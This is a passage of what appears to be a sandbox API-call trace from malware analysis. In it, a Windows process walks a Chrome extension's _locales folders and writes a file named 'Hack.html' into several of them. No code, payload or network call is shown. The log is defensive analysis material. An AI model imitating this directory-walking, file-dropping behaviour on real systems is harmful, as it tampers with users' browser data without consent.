(in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.863] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.864] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.865] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.867] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.870] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.870] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.870] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.870] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.870] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales", lpFilePart=0x0) returned 0x8f [0075.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\", lpFilePart=0x0) returned 0x90 [0075.872] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a728 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.873] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.874] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.875] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.876] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.878] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.879] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.880] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.880] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.880] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.880] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.881] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am", lpFilePart=0x0) returned 0x92 [0075.881] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\", lpFilePart=0x0) returned 0x93 [0075.881] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.883] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.883] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.883] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.883] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.883] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am", lpFilePart=0x0) returned 0x92 [0075.883] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\", lpFilePart=0x0) returned 0x93 [0075.884] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.884] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.884] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.884] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.884] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.884] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.885] GetFileType (hFile=0x174) returned 0x1 [0075.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.885] GetFileType (hFile=0x174) returned 0x1 [0075.885] WriteFile (in: hFile=0x174, lpBuffer=0x28650c4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x28650c4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar", lpFilePart=0x0) returned 0x92 [0075.886] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x93 [0075.886] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.887] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.888] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.888] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.888] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar", lpFilePart=0x0) returned 0x92 [0075.888] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x93 [0075.888] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.888] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.888] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.888] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.889] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.889] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.889] GetFileType (hFile=0x174) returned 0x1 [0075.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.890] GetFileType (hFile=0x174) returned 0x1 [0075.890] WriteFile (in: hFile=0x174, lpBuffer=0x286a8d4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x286a8d4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg", lpFilePart=0x0) returned 0x92 [0075.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x93 [0075.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 